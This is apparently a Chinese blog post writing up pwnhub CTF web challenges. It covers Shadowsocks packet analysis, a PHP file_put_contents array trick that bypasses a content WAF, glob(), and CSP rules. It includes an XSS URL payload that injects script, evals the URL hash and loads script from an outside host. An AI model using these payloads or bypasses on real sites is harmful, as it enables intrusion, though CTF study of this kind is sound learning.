pwnhub沙龙Web题目学习
看了大佬们的解决思路,和大佬们的差距还是很大,也学习了很多。
Ph师傅的Pwnhub 第一次线下沙龙竞赛Web题解析、L3mon的pwnhub沙龙web两则
国家保卫者
ss
这道题目首先考察了wireshark分析数据包以及ss的加密的知识点,两者平时研究得都很少,就记录一下本题考察的知识点。
- ss默认使用的是8838端口
- 默认加密算法是aes-256-cfb,解密需要密码
file_put_contents()
看file_put_contents()文档发现:

其第二个参数允许传入一个数组。当第二个参数为数组时,会将数组中的值连接成字符串再进行写入,相当于join()拼接的功能。
file_put_contents的这种特性,在实战中或许能够绕过基于文件内容的WAF。如下:
<?php
$text = $_GET['text'];
if(preg_match('[<>?]', $text)) {
die('error!');
}
file_put_contents('config.php', $text);
text如果是一个数组,就可以绕过上面的检测。
glob()
与scandir()的功能类似,都是用于显示文件。但是glob()的功能更为强大,可以按照规则查找指定文件。如下:
<?php
foreach (glob("*.txt") as $filename) {
echo "$filename size " . filesize($filename) . "\n";
}
?>
本题也是通过glob()函数才发现需要通过show_flag()函数获取flag。

改行做前端
CSP的配置
是一道XSS的题目,涉及到CSP,完全是知识盲区,记录一下本题考察的知识点。题目中的CSP配置如下:
Content-Security-Policy:default-src 'self' https://*.cloudflare.com https://*.googleapis.com https://*.gstatic.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://*.cloudflare.com https://*.googleapis.com https://*.gstatic.com; style-src 'self' 'unsafe-inline' https://*.cloudflare.com https://*.googleapis.com https://*.gstatic.com; report-uri /report
default-src的配置为'self' https://*.cloudflare.com https://*.googleapis.com https://*.gstatic.com, 定义针对所有类型(js、image、css、web font,ajax 请求,iframe,多媒体等)资源的默认加载策略,某类型资源如果没有单独定义策略,就使用默认的。所以此配置就是允许自身网站、cloudflare.com、googleapis.com、gstatic.com记载资源。
script-src的配置为'self' 'unsafe-inline' 'unsafe-eval' (后面三个省略了),定义针对 JavaScript 的加载策略。其中unsafe-inline表示可以执行内联的JS代码。unsafe-eval表示页面上允许使用new Function,setTimeout,eval等方式执行动态代码。
举例说明情况:
testcsp.index的代码如下:
<?php
header("Content-Security-Policy:script-src 'self'");
?>
<html>
<script src='1.js'></script>
<script src='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js'></script>
<style>
h3 {
color:red;
}
</style>
<body>
<h3 id='myhead'>Content Security Policy Demo Site</h3>
</body>
<script>
var myhead = document.getElementById('myhead');
myhead.addEventListener('click',function() {
alert(1);
});
</script>
</html>
script-src 'self',表示仅仅只能加载自身JS代码同时不执行内联JS代码,但是在html中通过src引入了bootstrapcdn.com的JS,同时也存在点击事件,最终结果如下:

无法引入,同时点击事件也无法触发。
当CSP配置为header("Content-Security-Policy:script-src 'self' 'unsafe-inline'");时内联JS可以正常执行。
report-uri /report
report-uri是CSP中的一个功能,当CSP规则被触发时,将会向report-uri指向的地址发送一个数据包。其设计目的是让开发者知道有哪些页面可能违反CSP,然后去改进它。
例如,在本题目中访问链接http://54.222.168.105:8065/?error=email%E9%94%99%E8%AF%AF%3C/script%3E%3Cscript%3E1%3C(br=1)*/%0deval(location.hash.substr(1))%3C/script%3E#$.getScript('http://mhz.pw'),由于http://mhz.pw不在配置选项中,触发了report-url的规则。

因为在本题中report-url存在SQL注入漏洞,导致最后可以得到管理员的密码拿到flag。
Chrome XSS Auditor绕过
这个没有认真研究,可以看Ph的文章浏览器安全一 / Chrome XSS Auditor bypass


浙公网安备 33010602011771号